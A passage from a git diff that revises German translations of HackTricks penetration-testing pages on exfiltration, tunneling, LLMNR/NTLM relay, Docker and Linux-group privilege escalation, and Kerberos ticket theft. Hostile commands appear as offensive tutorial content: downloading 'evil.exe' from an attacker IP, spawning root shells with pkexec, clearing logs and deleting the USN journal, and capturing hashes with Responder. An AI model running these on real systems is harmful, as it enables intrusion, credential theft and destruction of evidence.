Änderung, indem Sie auf Übernehmen und OK klicken. -Es ist auch möglich, die Konfiguration zu ändern, welche Dateien in der Schattenkopie kopiert werden, in der Registrierung `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`. +Es ist auch möglich, die Konfiguration zu ändern, welche Dateien in der Schattenkopie kopiert werden sollen, in der Registrierung `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`. ## Gelöschte Dateien überschreiben @@ -144,7 +144,7 @@ Es ist auch möglich, die Konfiguration zu ändern, welche Dateien in der Schatt - Deaktivieren Sie im Abschnitt Dienste den Dienst "Windows-Ereignisprotokoll" - `WEvtUtil.exec clear-log` oder `WEvtUtil.exe cl` -## Deaktivieren von $UsnJrnl +## $UsnJrnl deaktivieren - `fsutil usn deletejournal /d c:` diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index 03b12ea13..f5f5ab804 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## Häufig genehmigte Domains zum Exfiltrieren von Informationen +## Häufig auf die Whitelist gesetzte Domains zum Exfiltrieren von Informationen -Überprüfen Sie [https://lots-project.com/](https://lots-project.com/), um häufig genehmigte Domains zu finden, die missbraucht werden können +Überprüfen Sie [https://lots-project.com/](https://lots-project.com/), um häufig auf die Whitelist gesetzte Domains zu finden, die missbraucht werden können ## Copy\&Paste Base64 @@ -150,7 +150,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` -Oder erstellen Sie einen SMB-Share **mit Samba**: +Oder erstellen Sie einen SMB-Freigabe **mit Samba**: ```bash apt-get install samba mkdir /tmp/smb @@ -181,7 +181,7 @@ scp @:/ ``` ## SSHFS -Wenn das Opfer SSH hat, kann der Angreifer ein Verzeichnis vom Opfer zum Angreifer einbinden. +Wenn das Opfer SSH hat, kann der Angreifer ein Verzeichnis vom Opfer zum Angreifer einhängen. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs @@ -296,7 +296,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -Das `debug.exe` Programm ermöglicht nicht nur die Inspektion von Binaries, sondern hat auch die **Fähigkeit, sie aus Hex zu rekonstruieren**. Das bedeutet, dass `debug.exe` die Binärdatei generieren kann, indem man ein Hex eines Binaries bereitstellt. Es ist jedoch wichtig zu beachten, dass debug.exe eine **Einschränkung hat, Dateien bis zu 64 kb Größe zu assemblieren**. +Das `debug.exe` Programm ermöglicht nicht nur die Inspektion von Binaries, sondern hat auch die **Fähigkeit, sie aus Hex zu rekonstruieren**. Das bedeutet, dass durch die Bereitstellung eines Hex eines Binaries `debug.exe` die Binärdatei generieren kann. Es ist jedoch wichtig zu beachten, dass debug.exe eine **Einschränkung hat, Dateien bis zu 64 kb Größe zusammenzustellen**. ```bash # Reduce the size upx -9 nc.exe @@ -304,6 +304,10 @@ wine exe2bat.exe nc.exe nc.txt ``` Dann fügen Sie den Text in die Windows-Shell ein, und eine Datei namens nc.exe wird erstellt. +- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) + ## DNS +- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index d848dd5f5..75b3c55aa 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -33,7 +33,7 @@ ssh -Y -C @ #-Y is less secure but faster than -X ``` ### Local Port2Port -Öffnen Sie einen neuen Port im SSH-Server --> Anderer Port +Öffnen Sie neuen Port auf SSH-Server --> Anderer Port ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKS-Proxy -Öffnen Sie einen Port im Teamserver, der an allen Schnittstellen lauscht und verwendet werden kann, um **den Verkehr durch das Beacon zu leiten**. +Öffnen Sie einen Port im Teamserver, der auf allen Schnittstellen lauscht und verwendet werden kann, um **den Verkehr durch das Beacon zu leiten**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -152,15 +152,15 @@ rportfwd stop [bind port] ``` Zu beachten: -- Beacons Reverse-Port-Forwarding ist dafür ausgelegt, **Verkehr zum Team-Server zu tunneln, nicht um zwischen einzelnen Maschinen weiterzuleiten**. +- Beacons Reverse-Port-Forward ist dafür ausgelegt, **Verkehr zum Team-Server zu tunneln, nicht um zwischen einzelnen Maschinen weiterzuleiten**. - Der Verkehr wird **innerhalb des C2-Verkehrs von Beacon getunnelt**, einschließlich P2P-Links. -- **Admin-Rechte sind nicht erforderlich**, um Reverse-Port-Forwarding auf hohen Ports zu erstellen. +- **Admin-Rechte sind nicht erforderlich**, um Reverse-Port-Forwards auf hohen Ports zu erstellen. ### rPort2Port lokal > [!WARNING] > In diesem Fall wird der **Port im Beacon-Host geöffnet**, nicht im Team-Server, und der **Verkehr wird an den Cobalt Strike-Client gesendet** (nicht an den Team-Server) und von dort an den angegebenen Host:Port. -``` +```bash rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` @@ -320,9 +320,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -Es ist wie eine Konsolenversion von PuTTY (die Optionen sind sehr ähnlich zu einem ssh-Client). +Es ist wie eine Konsolen-PuTTY-Version (die Optionen sind sehr ähnlich zu einem ssh-Client). -Da dieses Binary auf dem Opfer ausgeführt wird und es sich um einen ssh-Client handelt, müssen wir unseren ssh-Dienst und -Port öffnen, damit wir eine umgekehrte Verbindung herstellen können. Um dann nur einen lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten: +Da dieses Binary auf dem Opfer ausgeführt wird und es sich um einen ssh-Client handelt, müssen wir unseren ssh-Dienst und -Port öffnen, damit wir eine umgekehrte Verbindung haben können. Dann, um nur einen lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -354,13 +354,13 @@ Laden Sie in Ihrem Client-Computer **`SocksOverRDP-Plugin.dll`** wie folgt: # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Jetzt können wir über **RDP** mit der **Opfer**-Maschine über **`mstsc.exe`** **verbinden**, und wir sollten eine **Aufforderung** erhalten, die besagt, dass das **SocksOverRDP-Plugin aktiviert ist** und es auf **127.0.0.1:1080** **lauschen** wird. +Jetzt können wir über **RDP** mit dem **Opfer** über **`mstsc.exe`** **verbinden**, und wir sollten eine **Aufforderung** erhalten, die besagt, dass das **SocksOverRDP-Plugin aktiviert ist**, und es wird auf **127.0.0.1:1080** **lauschen**. -**Verbinden** Sie sich über **RDP** und laden Sie die `SocksOverRDP-Server.exe`-Binärdatei auf der Opfermaschine hoch und führen Sie sie aus: +**Verbinden** Sie sich über **RDP** und laden Sie die `SocksOverRDP-Server.exe`-Binärdatei auf dem Opfergerät hoch und führen Sie sie aus: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` -Bestätigen Sie nun auf Ihrem Gerät (Angreifer), dass der Port 1080 lauscht: +Bestätigen Sie nun auf Ihrer Maschine (Angreifer), dass der Port 1080 lauscht: ``` netstat -antb | findstr 1080 ``` @@ -384,7 +384,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) Es authentifiziert sich gegen einen Proxy und bindet einen Port lokal, der an den externen Dienst weitergeleitet wird, den Sie angeben. Dann können Sie das Tool Ihrer Wahl über diesen Port verwenden.\ -Zum Beispiel, um Port 443 weiterzuleiten. +Zum Beispiel den weitergeleiteten Port 443 ``` Username Alice Password P@ssw0rd @@ -393,11 +393,11 @@ Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` Jetzt, wenn Sie beispielsweise den **SSH**-Dienst auf dem Opfer auf Port 443 einstellen, können Sie sich über den Angreifer-Port 2222 damit verbinden.\ -Sie könnten auch einen **meterpreter** verwenden, der sich mit localhost:443 verbindet und der Angreifer auf Port 2222 lauscht. +Sie könnten auch einen **meterpreter** verwenden, der sich mit localhost:443 verbindet und der Angreifer hört auf Port 2222. ## YARP -Ein Reverse-Proxy, der von Microsoft erstellt wurde. Sie finden ihn hier: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +Ein Reverse-Proxy, der von Microsoft erstellt wurde. Sie finden es hier: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 3f032a208..4e6a9bfd9 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -29,14 +29,14 @@ #### Ausführen von Responder - Um Responder mit den Standardeinstellungen auszuführen: `responder -I ` -- Für aggressiveres Probing (mit potenziellen Nebenwirkungen): `responder -I -P -r -v` -- Techniken zum Erfassen von NTLMv1-Herausforderungen/Antworten für einfacheres Cracking: `responder -I --lm --disable-ess` +- Für aggressiveres Scannen (mit potenziellen Nebenwirkungen): `responder -I -P -r -v` +- Techniken zum Erfassen von NTLMv1-Herausforderungen/Antworten für einfacheres Knacken: `responder -I --lm --disable-ess` - WPAD-Impersoinierung kann aktiviert werden mit: `responder -I --wpad` - NetBIOS-Anfragen können auf die IP des Angreifers aufgelöst werden, und ein Authentifizierungsproxy kann eingerichtet werden: `responder.py -I -Pv` ### DHCP-Vergiftung mit Responder -- Spoofing von DHCP-Antworten kann die Routing-Informationen eines Opfers dauerhaft vergiften und bietet eine stealthier Alternative zur ARP-Vergiftung. +- Das Spoofing von DHCP-Antworten kann die Routing-Informationen eines Opfers dauerhaft vergiften und bietet eine stealthier Alternative zur ARP-Vergiftung. - Es erfordert präzises Wissen über die Konfiguration des Zielnetzwerks. - Angriff ausführen: `./Responder.py -I eth0 -Pdv` - Diese Methode kann effektiv NTLMv1/2-Hashes erfassen, erfordert jedoch sorgfältige Handhabung, um Netzwerkunterbrechungen zu vermeiden. @@ -44,19 +44,19 @@ ### Erfassen von Anmeldeinformationen mit Responder - Responder wird Dienste mithilfe der oben genannten Protokolle impersonifizieren und Anmeldeinformationen (normalerweise NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren. -- Es können Versuche unternommen werden, auf NetNTLMv1 herabzustufen oder ESS zu deaktivieren, um das Cracking von Anmeldeinformationen zu erleichtern. +- Es können Versuche unternommen werden, auf NetNTLMv1 herabzustufen oder ESS zu deaktivieren, um das Knacken von Anmeldeinformationen zu erleichtern. -Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, um eine ordnungsgemäße Autorisierung sicherzustellen und Störungen oder unbefugten Zugriff zu vermeiden. +Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, wobei die ordnungsgemäße Autorisierung sichergestellt und Unterbrechungen oder unbefugter Zugriff vermieden werden sollten. ## Inveigh -Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet Funktionen ähnlich wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binary entwickelt, mit [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) und [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) als den Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). +Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet Funktionen ähnlich wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binärdatei entwickelt, mit [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) und [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) als den Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). Inveigh kann über PowerShell betrieben werden: -```powershell +```bash Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y ``` -Oder als C#-Binärdatei ausgeführt: +Oder als C#-Binary ausgeführt: ```bash Inveigh.exe ``` @@ -67,7 +67,7 @@ Dieser Angriff nutzt SMB-Authentifizierungssitzungen, um auf eine Zielmaschine z - Der authentifizierende Benutzer muss über lokale Administratorrechte auf dem weitergeleiteten Host verfügen. - SMB-Signierung sollte deaktiviert sein. -#### 445 Port-Weiterleitung und Tunneling +#### 445 Portweiterleitung und Tunneling In Szenarien, in denen eine direkte Netzwerkverbindung nicht möglich ist, muss der Datenverkehr auf Port 445 weitergeleitet und getunnelt werden. Tools wie [**PortBender**](https://github.com/praetorian-inc/PortBender) helfen dabei, den Datenverkehr auf Port 445 auf einen anderen Port umzuleiten, was entscheidend ist, wenn lokale Administratorrechte für das Laden von Treibern verfügbar sind. @@ -91,7 +91,7 @@ beacon> socks stop - **Metasploit**: Mit Proxys, lokalen und entfernten Hostdetails eingerichtet. - **smbrelayx**: Ein Python-Skript zum Relaying von SMB-Sitzungen und Ausführen von Befehlen oder Bereitstellen von Backdoors. -- **MultiRelay**: Ein Werkzeug aus der Responder-Suite, um spezifische Benutzer oder alle Benutzer zu relayn, Befehle auszuführen oder Hashes zu dumpen. +- **MultiRelay**: Ein Werkzeug aus der Responder-Suite, um bestimmte Benutzer oder alle Benutzer zu relayn, Befehle auszuführen oder Hashes zu dumpen. Jedes Werkzeug kann so konfiguriert werden, dass es bei Bedarf über einen SOCKS-Proxy arbeitet, was Angriffe selbst bei indirektem Netzwerkzugang ermöglicht. diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index 00a90a2f7..76ea3c7bf 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -6,10 +6,10 @@ Es gibt einige Gelegenheiten, bei denen Sie **Zugriff auf den Docker-Socket** ha ### Über Mount -Sie können verschiedene Teile des **Dateisystems** in einem als Root laufenden Container **einbinden** und auf sie **zugreifen**.\ +Sie können verschiedene Teile des **Dateisystems** in einem als Root laufenden Container **einbinden** und darauf **zugreifen**.\ Sie könnten auch **einen Mount missbrauchen, um Privilegien** innerhalb des Containers zu eskalieren. -- **`-v /:/host`** -> Binden Sie das Host-Dateisystem im Container ein, damit Sie das **Host-Dateisystem lesen** können. +- **`-v /:/host`** -> Binden Sie das Host-Dateisystem im Container ein, damit Sie **das Host-Dateisystem lesen können.** - Wenn Sie **das Gefühl haben möchten, dass Sie sich im Host** befinden, aber im Container sind, könnten Sie andere Abwehrmechanismen mit Flags wie deaktivieren: - `--privileged` - `--cap-add=ALL` @@ -20,16 +20,16 @@ Sie könnten auch **einen Mount missbrauchen, um Privilegien** innerhalb des Con - `--userns=host` - `--uts=host` - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Dies ist ähnlich wie die vorherige Methode, aber hier binden wir das **Gerätedisk** ein. Führen Sie dann im Container `mount /dev/sda1 /mnt` aus, und Sie können auf das **Host-Dateisystem** in `/mnt` zugreifen. +- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> Dies ist ähnlich wie die vorherige Methode, aber hier binden wir **das Gerätedisk** ein. Führen Sie dann im Container `mount /dev/sda1 /mnt` aus, und Sie können **auf das Host-Dateisystem** in `/mnt` zugreifen. - Führen Sie `fdisk -l` im Host aus, um das ``-Gerät zu finden, das Sie einbinden möchten. -- **`-v /tmp:/host`** -> Wenn Sie aus irgendeinem Grund **nur ein Verzeichnis** vom Host einbinden können und Sie Zugriff im Host haben. Binden Sie es ein und erstellen Sie eine **`/bin/bash`** mit **suid** im eingebundenen Verzeichnis, damit Sie es **vom Host aus ausführen und zu Root eskalieren** können. +- **`-v /tmp:/host`** -> Wenn Sie aus irgendeinem Grund **nur ein Verzeichnis** vom Host einbinden können und Sie Zugriff innerhalb des Hosts haben. Binden Sie es ein und erstellen Sie eine **`/bin/bash`** mit **suid** im eingebundenen Verzeichnis, damit Sie **es vom Host aus ausführen und zu root eskalieren** können. > [!NOTE] > Beachten Sie, dass Sie möglicherweise den Ordner `/tmp` nicht einbinden können, aber Sie können ein **anderes beschreibbares Verzeichnis** einbinden. Sie können beschreibbare Verzeichnisse mit `find / -writable -type d 2>/dev/null` finden. > > **Beachten Sie, dass nicht alle Verzeichnisse auf einem Linux-Rechner das suid-Bit unterstützen!** Um zu überprüfen, welche Verzeichnisse das suid-Bit unterstützen, führen Sie `mount | grep -v "nosuid"` aus. Zum Beispiel unterstützen normalerweise `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` und `/var/lib/lxcfs` nicht das suid-Bit. > -> Beachten Sie auch, dass Sie, wenn Sie **`/etc`** oder einen anderen Ordner **mit Konfigurationsdateien** einbinden können, diese im Docker-Container als Root ändern können, um sie **im Host zu missbrauchen** und Privilegien zu eskalieren (vielleicht durch Modifikation von `/etc/shadow`). +> Beachten Sie auch, dass, wenn Sie **`/etc`** oder einen anderen Ordner **mit Konfigurationsdateien** einbinden können, Sie diese vom Docker-Container aus als Root ändern können, um **sie im Host zu missbrauchen** und Privilegien zu eskalieren (vielleicht durch Modifikation von `/etc/shadow`). ### Aus dem Container entkommen diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index bd3ca30aa..b336a7064 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -15,7 +15,7 @@ Einige **Beispiele** für **distroless Container** sind: ## Weaponizing Distroless -Das Ziel, einen distroless Container zu waffen, besteht darin, **willkürliche Binärdateien und Payloads auszuführen, selbst mit den Einschränkungen**, die durch **distroless** (Fehlen gängiger Binärdateien im System) und auch durch Schutzmaßnahmen, die häufig in Containern zu finden sind, wie **schreibgeschützt** oder **nicht ausführbar** in `/dev/shm`, impliziert werden. +Das Ziel, einen distroless Container zu waffen, besteht darin, **willkürliche Binärdateien und Payloads auszuführen, selbst mit den Einschränkungen**, die durch **distroless** (Fehlen gängiger Binärdateien im System) und auch durch in Containern häufig vorkommende Schutzmaßnahmen wie **schreibgeschützt** oder **nicht ausführbar** in `/dev/shm` impliziert werden. ### Durch Speicher diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 11e3f63f6..dfcbc1523 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -26,14 +26,14 @@ Finde alle SUID-Binärdateien und überprüfe, ob die Binärdatei **Pkexec** vor ```bash find / -perm -4000 2>/dev/null ``` -Wenn Sie feststellen, dass die Binärdatei **pkexec eine SUID-Binärdatei ist** und Sie zu **sudo** oder **admin** gehören, könnten Sie wahrscheinlich Binärdateien als sudo mit `pkexec` ausführen.\ -Das liegt daran, dass dies typischerweise die Gruppen innerhalb der **polkit-Richtlinie** sind. Diese Richtlinie identifiziert im Grunde, welche Gruppen `pkexec` verwenden können. Überprüfen Sie es mit: +Wenn Sie feststellen, dass die Binärdatei **pkexec eine SUID-Binärdatei ist** und Sie zu **sudo** oder **admin** gehören, können Sie wahrscheinlich Binärdateien als sudo mit `pkexec` ausführen.\ +Das liegt daran, dass dies typischerweise die Gruppen innerhalb der **polkit-Richtlinie** sind. Diese Richtlinie identifiziert im Wesentlichen, welche Gruppen `pkexec` verwenden können. Überprüfen Sie es mit: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` Dort finden Sie, welche Gruppen berechtigt sind, **pkexec** auszuführen, und **standardmäßig** erscheinen in einigen Linux-Distributionen die Gruppen **sudo** und **admin**. -Um **root zu werden, können Sie** Folgendes ausführen: +Um **Root zu werden, können Sie** Folgendes ausführen: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` @@ -66,9 +66,9 @@ Wenn dies der Fall ist, um **root zu werden, können Sie einfach ausführen**: ``` sudo su ``` -## Shadow Group +## Shadow-Gruppe -Benutzer aus der **Gruppe shadow** können die **/etc/shadow** Datei **lesen**: +Benutzer aus der **Gruppe shadow** können die **/etc/shadow**-Datei **lesen**: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` @@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` -oder Wenn eine neue SSH-Sitzung angemeldet wird. +oder Wenn ein neues SSH-Sitzungs-Login erfolgt. ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -146,11 +146,11 @@ Beachten Sie, dass Sie mit debugfs auch **Dateien schreiben** können. Um beispi debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` -Wenn Sie jedoch versuchen, **Dateien, die dem Root-Benutzer gehören** (wie `/etc/shadow` oder `/etc/passwd`), zu **schreiben**, erhalten Sie einen "**Zugriff verweigert**"-Fehler. +Allerdings, wenn Sie versuchen, **Dateien, die dem Root gehören** (wie `/etc/shadow` oder `/etc/passwd`) zu **schreiben**, erhalten Sie einen "**Zugriff verweigert**" Fehler. -## Video-Gruppe +## Video Gruppe -Mit dem Befehl `w` können Sie **herausfinden, wer im System angemeldet ist**, und es wird eine Ausgabe wie die folgende angezeigt: +Mit dem Befehl `w` können Sie **herausfinden, wer im System angemeldet ist** und es wird eine Ausgabe wie die folgende angezeigt: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash @@ -163,11 +163,11 @@ Die **Video-Gruppe** hat Zugriff auf die Anzeige der Bildschirmausgabe. Grundsä cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -Um das **raw image** zu **öffnen**, können Sie **GIMP** verwenden, die **`screen.raw`** Datei auswählen und als Dateityp **Raw image data** auswählen: +Um das **raw image** zu **öffnen**, können Sie **GIMP** verwenden, die **`screen.raw`**-Datei auswählen und als Dateityp **Raw image data** auswählen: ![](<../../../images/image (463).png>) -Ändern Sie dann die Breite und Höhe auf die Werte, die auf dem Bildschirm verwendet werden, und überprüfen Sie verschiedene Bildtypen (und wählen Sie denjenigen aus, der den Bildschirm am besten darstellt): +Ändern Sie dann die Breite und Höhe auf die Werte, die auf dem Bildschirm verwendet werden, und überprüfen Sie verschiedene Bildtypen (und wählen Sie den aus, der den Bildschirm am besten darstellt): ![](<../../../images/image (317).png>) @@ -199,7 +199,7 @@ Schließlich, wenn Ihnen keine der vorherigen Vorschläge gefällt oder sie aus ../docker-security/ {{#endref}} -Wenn Sie Schreibberechtigungen über den Docker-Socket haben, lesen Sie [**diesen Beitrag darüber, wie man Privilegien durch den Docker-Socket eskaliert**](../index.html#writable-docker-socket)**.** +Wenn Sie Schreibberechtigungen über den Docker-Socket haben, lesen Sie [**diesen Beitrag darüber, wie man Privilegien durch Missbrauch des Docker-Sockets eskaliert**](../index.html#writable-docker-socket)**.** {{#ref}} https://github.com/KrustyHack/docker-privilege-escalation @@ -223,6 +223,6 @@ Daher sollten Sie, wenn Sie einen Benutzer in dieser Gruppe kompromittiert haben ## Auth Gruppe Innerhalb von OpenBSD kann die **auth** Gruppe normalerweise in die Ordner _**/etc/skey**_ und _**/var/db/yubikey**_ schreiben, wenn sie verwendet werden.\ -Diese Berechtigungen können mit dem folgenden Exploit missbraucht werden, um **Privilegien** auf root zu **eskalieren**: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +Diese Berechtigungen können mit dem folgenden Exploit missbraucht werden, um **Privilegien** auf root zu eskalieren: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 7d32f6b87..73ae15cfa 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -20,7 +20,7 @@ Sie können auch die folgende Seite überprüfen, um **andere Möglichkeiten zur ### FreeIPA -FreeIPA ist eine Open-Source-**Alternative** zu Microsoft Windows **Active Directory**, hauptsächlich für **Unix**-Umgebungen. Es kombiniert ein vollständiges **LDAP-Verzeichnis** mit einem MIT **Kerberos** Key Distribution Center für die Verwaltung, ähnlich wie Active Directory. Es nutzt das Dogtag **Zertifikatssystem** für CA- und RA-Zertifikatsmanagement und unterstützt **Multi-Faktor**-Authentifizierung, einschließlich Smartcards. SSSD ist für Unix-Authentifizierungsprozesse integriert. Erfahren Sie mehr darüber in: +FreeIPA ist eine Open-Source-**Alternative** zu Microsoft Windows **Active Directory**, hauptsächlich für **Unix**-Umgebungen. Es kombiniert ein vollständiges **LDAP-Verzeichnis** mit einem MIT **Kerberos** Key Distribution Center für die Verwaltung ähnlich wie Active Directory. Es nutzt das Dogtag **Zertifikatssystem** für CA- und RA-Zertifikatsmanagement und unterstützt **Multi-Faktor**-Authentifizierung, einschließlich Smartcards. SSSD ist für Unix-Authentifizierungsprozesse integriert. Erfahren Sie mehr darüber in: {{#ref}} ../freeipa-pentesting.md @@ -38,7 +38,7 @@ Auf dieser Seite finden Sie verschiedene Orte, an denen Sie **Kerberos-Tickets a ### CCACHE-Ticket-Wiederverwendung aus /tmp -CCACHE-Dateien sind binäre Formate zum **Speichern von Kerberos-Anmeldeinformationen**, die typischerweise mit 600 Berechtigungen in `/tmp` gespeichert werden. Diese Dateien können durch ihr **Namensformat, `krb5cc_%{uid}`,** identifiziert werden, das mit der UID des Benutzers korreliert. Für die Überprüfung des Authentifizierungstickets sollte die **Umgebungsvariable `KRB5CCNAME`** auf den Pfad der gewünschten Ticketdatei gesetzt werden, um deren Wiederverwendung zu ermöglichen. +CCACHE-Dateien sind binäre Formate zum **Speichern von Kerberos-Anmeldeinformationen**, die typischerweise mit 600 Berechtigungen in `/tmp` gespeichert werden. Diese Dateien können an ihrem **Namensformat, `krb5cc_%{uid}`,** identifiziert werden, das mit der UID des Benutzers korreliert. Für die Überprüfung des Authentifizierungstickets sollte die **Umgebungsvariable `KRB5CCNAME`** auf den Pfad der gewünschten Ticketdatei gesetzt werden, um deren Wiederverwendung zu ermöglichen. Listen Sie das aktuelle Ticket, das für die Authentifizierung verwendet wird, mit `env | grep KRB5CCNAME` auf. Das Format ist portabel und das Ticket kann **durch Setzen der Umgebungsvariable** mit `export KRB5CCNAME=/tmp/ticket.ccache` wiederverwendet werden. Das Kerberos-Ticket-Namensformat ist `krb5cc_%{uid}`, wobei uid die Benutzer-UID ist. ```bash @@ -49,7 +49,7 @@ krb5cc_1000 # Prepare to use it export KRB5CCNAME=/tmp/krb5cc_1000 ``` -### CCACHE Ticket-Wiederverwendung aus dem Keyring +### CCACHE Ticket-Wiederverwendung aus dem Schlüsselbund **Kerberos-Tickets, die im Speicher eines Prozesses gespeichert sind, können extrahiert werden**, insbesondere wenn der ptrace-Schutz der Maschine deaktiviert ist (`/proc/sys/kernel/yama/ptrace_scope`). Ein nützliches Tool für diesen Zweck ist unter [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) zu finden, das die Extraktion erleichtert, indem es in Sitzungen injiziert und Tickets in `/tmp` dumpet. @@ -62,11 +62,11 @@ make CONF=Release ``` Dieses Verfahren wird versuchen, in verschiedene Sitzungen zu injizieren, wobei der Erfolg durch das Speichern der extrahierten Tickets in `/tmp` mit einer Namenskonvention von `__krb_UID.ccache` angezeigt wird. -### CCACHE Ticket-Wiederverwendung von SSSD KCM +### CCACHE-Ticket-Wiederverwendung von SSSD KCM SSSD hält eine Kopie der Datenbank unter dem Pfad `/var/lib/sss/secrets/secrets.ldb`. Der entsprechende Schlüssel wird als versteckte Datei unter dem Pfad 